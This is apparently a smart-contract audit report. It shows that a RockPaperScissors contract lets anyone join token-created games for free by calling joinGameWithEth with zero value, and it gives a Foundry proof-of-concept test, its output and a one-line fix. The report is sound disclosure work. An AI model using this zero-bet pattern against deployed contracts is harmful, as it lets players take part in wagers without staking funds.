Summary
When a game is created using RockPaperScissors::createGameWithToken(), players can call RockPaperScissors::joinGameWithEth() with no value to join the game for free.
Vulnerability Details
When a user calls RockPaperScissors::createGameWithToken(), it sets game.bet = 0.
function createGameWithToken(uint256 _totalTurns, uint256 _timeoutInterval) external returns (uint256) {
        require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
        require(_totalTurns > 0, "Must have at least one turn");
        require(_totalTurns % 2 == 1, "Total turns must be odd");
        require(_timeoutInterval >= 5 minutes, "Timeout must be at least 5 minutes");
        
        winningToken.transferFrom(msg.sender, address(this), 1);
        uint256 gameId = gameCounter++;
        Game storage game = games[gameId];
        game.playerA = msg.sender;
@>      game.bet = 0; 
        game.timeoutInterval = _timeoutInterval;
        game.creationTime = block.timestamp;
        game.joinDeadline = block.timestamp + joinTimeout;
        game.totalTurns = _totalTurns;
        game.currentTurn = 1;
        game.state = GameState.Created;
        emit GameCreated(gameId, msg.sender, 0, _totalTurns);
        return gameId;
    }
This means that another user can call RockPaperScissors::joinGameWithEth() with {value: 0} and join the game for free.
Add the following code to the test suite:
function testPlayerBCanJoinTokenGameForFree() public {
        
        vm.startPrank(playerA);
        token.approve(address(game), 1);
        gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
        vm.stopPrank();
        vm.startPrank(playerB);
        console2.log("playerB token balance before joining: ", token.balanceOf(playerB));
        console2.log("playerB ETH balance before joining: ", playerB.balance);
        
        vm.expectEmit();
        emit PlayerJoined(gameId, address(playerB));
        
        game.joinGameWithEth{value: 0}(gameId);
        
        console2.log("playerB token balance after joining: ", token.balanceOf(playerB));
        console2.log("playerB ETH balance before joining: ", playerB.balance);
    }
The output is:
Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] testPlayerBCanJoinTokenGameForFree() (gas: 244672)
Logs:
  playerB token balance before joining:  10
  playerB ETH balance before joining:  10000000000000000000
  playerB token balance after joining:  10
  playerB ETH balance before joining:  10000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.40ms (1.86ms CPU time)
Impact
Anyone can join games created with RockPaperScissors::createGameWithToken for free and play with zero risk, effectively gaming the protocol.
Tools Used
Manual review
Recommendations
Require game.bet > 0 when calling RockPaperScissors::joinGameWithEth.
function joinGameWithEth(uint256 _gameId) external payable {
        Game storage game = games[_gameId];
        require(game.state == GameState.Created, "Game not open to join");
        require(game.playerA != msg.sender, "Cannot join your own game");
        require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+       require(game.bet > 0, "Bet amount cannot be zero");
        require(msg.value == game.bet, "Bet amount must match creator's bet");
        game.playerB = msg.sender;
        emit PlayerJoined(_gameId, msg.sender);
    }